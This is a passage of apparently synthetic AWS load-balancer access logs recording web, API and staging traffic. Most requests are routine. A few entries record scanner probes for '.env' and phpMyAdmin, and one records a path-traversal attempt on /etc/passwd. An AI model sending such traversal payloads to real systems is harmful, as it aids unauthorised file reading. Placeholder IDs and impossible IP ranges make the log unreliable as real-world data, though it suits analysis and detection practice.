"Root=1-6723c4fe-714c3a28d9b94a549e16f795" "prod-api-alb.example.com" "-" 7 2024-11-01T00:57:18.745551Z "forward" "-" "-" "10.0.247.145:443" "200" "-" "-" +https 2024-11-01T00:57:20.179206Z prod-api-alb 192.185.147.17:17392 10.0.224.143:443 0.093504 0.006139 0.031159 302 302 476 9672 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c500-e43a7e007791486d85ef60ff" "prod-api-alb.example.com" "-" 8 2024-11-01T00:57:20.179206Z "forward" "-" "-" "10.0.224.143:443" "302" "-" "-" +https 2024-11-01T00:57:20.595944Z prod-web-alb 111.33.255.106:41186 10.0.242.225:443 0.004812 0.263454 0.018320 200 200 76 14485 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c500-146bcc85a4a84511b56dd4e0" "prod-web-alb.example.com" "-" 9 2024-11-01T00:57:20.595944Z "forward" "-" "-" "10.0.242.225:443" "200" "-" "-" +https 2024-11-01T00:57:21.799890Z prod-api-alb 185.181.166.125:53686 10.0.141.223:443 0.077016 0.018628 0.078765 401 401 832 2563 "POST /.env HTTP/1.1" "Qualys SSL Assessment Scanner" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c501-f160d5c49e604cc8b742c707" "-" "-" 5 2024-11-01T00:57:21.799890Z "forward" "-" "-" "10.0.141.223:443" "401" "-" "-" +https 2024-11-01T00:57:22.176241Z staging-alb 69.83.59.243:16708 246.127.147.107:8080 0.110653 0.688951 0.017565 200 200 670 7842 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c502-1338ba0e318147e980620f5b" "staging-alb.example.com" "-" 1 2024-11-01T00:57:22.176241Z "forward" "-" "-" "246.127.147.107:8080" "200" "-" "-" +https 2024-11-01T00:57:23.104418Z staging-alb 145.184.14.32:59584 102.166.113.124:8080 0.078748 0.281853 0.119244 200 200 224 10299 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c503-93bd1d9d95bd4ea19d66468a" "staging-alb.example.com" "-" 5 2024-11-01T00:57:23.104418Z "forward" "-" "-" "102.166.113.124:8080" "200" "-" "-" +https 2024-11-01T00:57:24.208885Z prod-web-alb 193.27.228.75:64013 10.0.81.93:443 0.020409 0.309725 0.085112 302 302 338 11699 "POST /phpmyadmin HTTP/1.1" "" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c504-fd21d0148e134ccb92b5afdc" "-" "-" 6 2024-11-01T00:57:24.208885Z "forward" "-" "-" "10.0.81.93:443" "302" "-" "-" +http 2024-11-01T00:57:24.920435Z staging-alb 180.145.213.54:41043 133.121.146.143:8080 0.102108 0.578108 0.145318 200 200 202 5880 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c504-e3a1cba93e9a4eaf83ada69e" "staging-alb.example.com" "-" 5 2024-11-01T00:57:24.920435Z "forward" "-" "-" "133.121.146.143:8080" "200" "-" "-" +https 2024-11-01T00:57:25.460018Z prod-web-alb 17.17.43.153:15017 10.0.151.153:443 0.022763 0.437340 0.076449 301 301 271 6379 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c505-e1f4fed8692f48ecb657563a" "prod-web-alb.example.com" "-" 8 2024-11-01T00:57:25.460018Z "forward" "-" "-" "10.0.151.153:443" "301" "-" "-" +https 2024-11-01T00:57:26.801636Z prod-web-alb 211.98.207.32:31162 10.0.87.200:443 0.032294 0.281922 0.014978 302 302 301 14414 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c506-df63d50948a4491c9a18c6d9" "prod-web-alb.example.com" "-" 3 2024-11-01T00:57:26.801636Z "forward" "-" "-" "10.0.87.200:443" "302" "-" "-" +https 2024-11-01T00:57:28.004702Z staging-alb 163.164.11.211:61968 125.74.180.134:8080 0.071386 0.273783 0.144103 200 200 676 2644 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c508-9c161264ae764e5d93604f81" "staging-alb.example.com" "-" 10 2024-11-01T00:57:28.004702Z "forward" "-" "-" "125.74.180.134:8080" "200" "-" "-" +https 2024-11-01T00:57:29.446323Z prod-web-alb 52.224.23.46:23446 10.0.36.14:443 0.021502 0.248920 0.088977 200 200 787 6458 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c509-e9d6e90453b64516b3ee8436" "prod-web-alb.example.com" "-" 2 2024-11-01T00:57:29.446323Z "forward" "-" "-" "10.0.36.14:443" "200" "-" "-" +https 2024-11-01T00:57:30.003857Z prod-api-alb 60.239.206.124:23951 10.0.137.232:443 0.041427 0.415561 0.018319 200 200 507 13091 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c50a-b5a45ece58d9446e8c354215" "prod-api-alb.example.com" "-" 1 2024-11-01T00:57:30.003857Z "forward" "-" "-" "10.0.137.232:443" "200" "-" "-" +https 2024-11-01T00:57:31.493269Z prod-api-alb 38.75.154.229:48705 10.0.193.134:443 0.031493 0.204576 0.098558 200 200 999 1411 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c50b-2b1b578532244151a74ca3ce" "prod-api-alb.example.com" "-" 1 2024-11-01T00:57:31.493269Z "forward" "-" "-" "10.0.193.134:443" "200" "-" "-" +https 2024-11-01T00:57:33.235241Z prod-web-alb 14.12.196.142:56540 10.0.235.175:443 0.082532 0.328318 0.049035 404 404 90 13461 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c50d-938594dd9a0a432d844b13af" "prod-web-alb.example.com" "-" 7 2024-11-01T00:57:33.235241Z "forward" "-" "-" "10.0.235.175:443" "404" "-" "-" +https 2024-11-01T00:57:34.790807Z prod-web-alb 65.44.142.188:27828 10.0.144.171:443 0.087107 0.035343 0.024541 302 302 898 13671 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c50e-e1fdf22e9b9745a4af2b5e6b" "prod-web-alb.example.com" "-" 3 2024-11-01T00:57:34.790807Z "forward" "-" "-" "10.0.144.171:443" "302" "-" "-" +https 2024-11-01T00:57:35.380493Z prod-api-alb 124.228.23.162:41739 10.0.183.84:443 0.022168 0.415836 0.065414 200 200 643 14943 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c50f-b90301bfb259429f94fbe872" "prod-api-alb.example.com" "-" 2 2024-11-01T00:57:35.380493Z "forward" "-" "-" "10.0.183.84:443" "200" "-" "-" +https 2024-11-01T00:57:37.269718Z prod-web-alb 54.241.153.45:45183 10.0.28.234:443 0.015700 0.395760 0.073021 200 200 825 11763 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c511-218110592c884807accd4b0e" "prod-web-alb.example.com" "-" 10 2024-11-01T00:57:37.269718Z "forward" "-" "-" "10.0.28.234:443" "200" "-" "-" +https 2024-11-01T00:57:37.656823Z prod-web-alb 201.192.78.240:23657 10.0.113.237:443 0.044902 0.186962 0.004583 200 200 136 14709 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c511-129791b310e2407db674fee6" "-" "-" 6 2024-11-01T00:57:37.656823Z "forward" "-" "-" "10.0.113.237:443" "200" "-" "-" +http 2024-11-01T00:57:38.741404Z staging-alb 160.214.0.47:23648 210.60.202.73:443 0.025599 0.528904 0.045904 301 301 770 9487 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c512-c8a9cec4023343aca066f303" "staging-alb.example.com" "-" 6 2024-11-01T00:57:38.741404Z "forward" "-" "-" "210.60.202.73:443" "301" "-" "-" +https 2024-11-01T00:57:40.075411Z prod-api-alb 22.229.127.99:55711 10.0.230.175:443 0.040869 0.233409 0.047300 404 404 826 2786 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c514-bde76c03ac9e4001aa1d6ef2" "prod-api-alb.example.com" "-" 3 2024-11-01T00:57:40.075411Z "forward" "-" "-" "10.0.230.175:443" "404" "-" "-" +https 2024-11-01T00:57:40.603945Z staging-alb 27.88.46.243:23402 226.72.15.187:8080 0.069620 0.538576 0.083246 404 404 800 7870 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c514-e2db2dd153344b01919240d1" "staging-alb.example.com" "-" 8 2024-11-01T00:57:40.603945Z "forward" "-" "-" "226.72.15.187:8080" "404" "-" "-" +https 2024-11-01T00:57:42.422913Z prod-api-alb 72.152.131.132:25593 10.0.235.235:443 0.037792 0.208568 0.084628 301 301 378 637 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c516-f971c4ec0def42e2bc7960c0" "prod-api-alb.example.com" "-" 8 2024-11-01T00:57:42.422913Z "forward" "-" "-" "10.0.235.235:443" "301" "-" "-" +https 2024-11-01T00:57:43.729008Z prod-api-alb 12.62.138.198:34261 10.0.211.63:443 0.007667 0.482907 0.087616 200 200 571 9922 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c517-c91e6cd6b3214c62a3af6d61" "prod-api-alb.example.com" "-" 6 2024-11-01T00:57:43.729008Z "forward" "-" "-" "10.0.211.63:443" "200" "-" "-" +https 2024-11-01T00:57:45.388362Z prod-web-alb 224.197.160.227:39836 10.0.154.107:443 0.040031 0.210220 0.052896 200 200 733 10361 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c519-4feefc046c9546ff934943c0" "prod-web-alb.example.com" "-" 5 2024-11-01T00:57:45.388362Z "forward" "-" "-" "10.0.154.107:443" "200" "-" "-" +https 2024-11-01T00:57:47.081815Z prod-api-alb 234.64.179.210:47357 10.0.11.2:443 0.037902 0.375622 0.014256 404 404 502 3158 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c51b-c8a9b7f499184a76ac0605d8" "prod-api-alb.example.com" "-" 9 2024-11-01T00:57:47.081815Z "forward" "-" "-" "10.0.11.2:443" "404" "-" "-" +https 2024-11-01T00:57:48.779385Z staging-alb 105.29.22.163:16411 235.182.207.108:80 0.135433 0.120834 0.132298 200 200 796 12756 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c51c-28a524b519b94298b69c4e4b" "staging-alb.example.com" "-" 4 2024-11-01T00:57:48.779385Z "forward" "-" "-" "235.182.207.108:80" "200" "-" "-" +https 2024-11-01T00:57:49.572965Z prod-api-alb 52.161.74.161:57246 10.0.249.22:443 0.020767 0.170002 0.016833 404 404 520 2118 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c51d-f85964de31b44436b6da3237" "prod-api-alb.example.com" "-" 3 2024-11-01T00:57:49.572965Z "forward" "-" "-" "10.0.249.22:443" "404" "-" "-" +https 2024-11-01T00:57:51.041049Z prod-web-alb 255.231.248.155:12313 10.0.171.95:443 0.013735 0.365359 0.098650 200 200 113 11257 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c51f-c2036dece60f4f99aab634dc" "prod-web-alb.example.com" "-" 6 2024-11-01T00:57:51.041049Z "forward" "-" "-" "10.0.171.95:443" "200" "-" "-" +https 2024-11-01T00:57:52.486506Z staging-alb 187.184.203.21:59645 25.38.161.196:80 0.052326 0.069741 0.103299 404 404 806 9284 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c520-a347b2e1316846beb2a954d3" "staging-alb.example.com" "-" 10 2024-11-01T00:57:52.486506Z "forward" "-" "-" "25.38.161.196:80" "404" "-" "-" +http 2024-11-01T00:57:53.027788Z staging-alb 185.168.175.252:54842 8.245.201.255:80 0.017223 0.482652 0.137122 200 200 355 5179 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c521-579989e612ed4bea8fe112c0" "staging-alb.example.com" "-" 9 2024-11-01T00:57:53.027788Z "forward" "-" "-" "8.245.201.255:80" "200" "-" "-" +https 2024-11-01T00:57:53.836417Z prod-web-alb 224.158.214.161:36897 10.0.224.181:443 0.078538 0.428744 0.068378 200 200 555 8918 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c521-176419587a494d23ae48a900" "prod-web-alb.example.com" "-" 5 2024-11-01T00:57:53.836417Z "forward" "-" "-" "10.0.224.181:443" "200" "-" "-" +https 2024-11-01T00:57:54.412554Z staging-alb 133.71.53.186:11197 86.112.200.185:443 0.002048 0.170530 0.103473 404 404 330 301 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c522-403d0439ee434fbc99cab25a" "staging-alb.example.com" "-" 3 2024-11-01T00:57:54.412554Z "forward" "-" "-" "86.112.200.185:443" "404" "-" "-" +http 2024-11-01T00:57:55.069154Z staging-alb 69.163.174.98:46345 248.214.166.166:443 0.133707 0.593171 0.109732 301 301 993 7493 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c523-7256a598c9994d6bad2b3d73" "staging-alb.example.com" "-" 8 2024-11-01T00:57:55.069154Z "forward" "-" "-" "248.214.166.166:443" "301" "-" "-" +https 2024-11-01T00:57:56.706647Z prod-web-alb 236.0.159.52:25590 10.0.154.191:443 0.067627 0.044697 0.082621 200 200 810 6032 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c524-23055fe27e9e49df80adf6ff" "prod-web-alb.example.com" "-" 0 2024-11-01T00:57:56.706647Z "forward" "-" "-" "10.0.154.191:443" "200" "-" "-" +https 2024-11-01T00:57:57.214521Z prod-web-alb 104.177.17.36:57488 10.0.60.110:443 0.037372 0.437332 0.038214 200 200 630 2574 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c525-6681b5cd0aa1428d9c305e6a" "prod-web-alb.example.com" "-" 9 2024-11-01T00:57:57.214521Z "forward" "-" "-" "10.0.60.110:443" "200" "-" "-" +http 2024-11-01T00:57:58.446926Z staging-alb 230.248.207.169:11404 84.45.37.162:443 0.080112 0.132579 0.067360 404 404 991 13679 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c526-9522f24c32f7408d8e9f93aa" "staging-alb.example.com" "-" 7 2024-11-01T00:57:58.446926Z "forward" "-" "-" "84.45.37.162:443" "404" "-" "-" +https 2024-11-01T00:57:58.580727Z prod-web-alb 227.152.147.83:41012 10.0.5.151:443 0.014907 0.357449 0.061976 404 404 132 9112 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c526-d2024cbf7d9c4ad7bfdf7d71" "prod-web-alb.example.com" "-" 5 2024-11-01T00:57:58.580727Z "forward" "-" "-" "10.0.5.151:443" "404" "-" "-" +https 2024-11-01T00:57:58.850694Z prod-api-alb 138.166.20.201:37754 10.0.92.246:443 0.005842 0.113915 0.075213 404 404 611 4159 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c526-9600492b18334dd8a1b9afe3" "prod-api-alb.example.com" "-" 6 2024-11-01T00:57:58.850694Z "forward" "-" "-" "10.0.92.246:443" "404" "-" "-" +https 2024-11-01T00:57:59.147557Z prod-web-alb 6.2.75.176:28926 10.0.47.181:443 0.091444 0.100530 0.052829 301 301 179 12107 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c527-005f553e82d2483482f6d910" "prod-web-alb.example.com" "-" 1 2024-11-01T00:57:59.147557Z "forward" "-" "-" "10.0.47.181:443" "301" "-" "-" +https 2024-11-01T00:58:00.602422Z prod-api-alb 84.94.35.8:15702 10.0.197.128:443 0.039004 0.226672 0.076837 404 404 798 11648 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c528-0a9f7b820d2a4af1bc2f8f6b" "prod-api-alb.example.com" "-" 4 2024-11-01T00:58:00.602422Z "forward" "-" "-" "10.0.197.128:443" "404" "-" "-" +https 2024-11-01T00:58:02.412953Z prod-api-alb 91.143.173.77:33738 10.0.172.207:443 0.064774 0.252383 0.065367 301 301 363 7035 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c52a-be5876a235cd4eaca0734f65" "prod-api-alb.example.com" "-" 7 2024-11-01T00:58:02.412953Z "forward" "-" "-" "10.0.172.207:443" "301" "-" "-" +https 2024-11-01T00:58:03.861813Z prod-web-alb 99.112.126.255:12720 10.0.26.249:443 0.012557 0.170862 0.099474 200 200 306 10096 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c52b-a6f0f55da3974273ab430b75" "-" "-" 0 2024-11-01T00:58:03.861813Z "forward" "-" "-" "10.0.26.249:443" "200" "-" "-" +https 2024-11-01T00:58:04.042714Z prod-web-alb 45.155.205.185:32865 10.0.113.138:443 0.037659 0.431120 0.001630 404 404 799 6340 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "gobuster/3.5" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c52c-5ec8238c348a4d6687ee0169" "-" "-" 4 2024-11-01T00:58:04.042714Z "forward" "-" "-" "10.0.113.138:443" "404" "-" "-" +https 2024-11-01T00:58:05.428113Z staging-alb 39.153.83.173:19301 213.154.70.63:8080 0.015594 0.704238 0.103437 200 200 826 12482 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c52d-dd4a3dbdf6024980838b8521" "staging-alb.example.com" "-" 7 2024-11-01T00:58:05.428113Z "forward" "-" "-" "213.154.70.63:8080" "200" "-" "-" +https 2024-11-01T00:58:05.803105Z staging-alb 24.15.179.205:49745 116.195.161.245:8080 0.091301 0.408492 0.018397 200 200 307 8263 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c52d-cf57f35c5ae9419dba412c9f" "staging-alb.example.com" "-" 4 2024-11-01T00:58:05.803105Z "forward" "-" "-" "116.195.161.245:8080" "200" "-" "-" +https 2024-11-01T00:58:06.796651Z staging-alb 11.163.229.119:15363 138.157.95.87:80 0.079486 0.556254 0.013645 200 200 786 7675 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c52e-bbb0297ea03444ffa4134986" "staging-alb.example.com" "-" 8 2024-11-01T00:58:06.796651Z "forward" "-" "-" "138.157.95.87:80" "200" "-" "-" +https 2024-11-01T00:58:08.743945Z prod-web-alb 177.204.47.149:64618 10.0.114.240:443 0.003475 0.333915 0.075925 404 404 281 14554 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c530-425e2d800b1a476cbab72ec9" "prod-web-alb.example.com" "-" 4 2024-11-01T00:58:08.743945Z "forward" "-" "-" "10.0.114.240:443" "404" "-" "-" +https 2024-11-01T00:58:10.382824Z prod-web-alb 239.205.81.60:19012 10.0.123.177:443 0.096976 0.378618 0.056439 301 301 108 9788 "GET /cart HTTP/1.1" 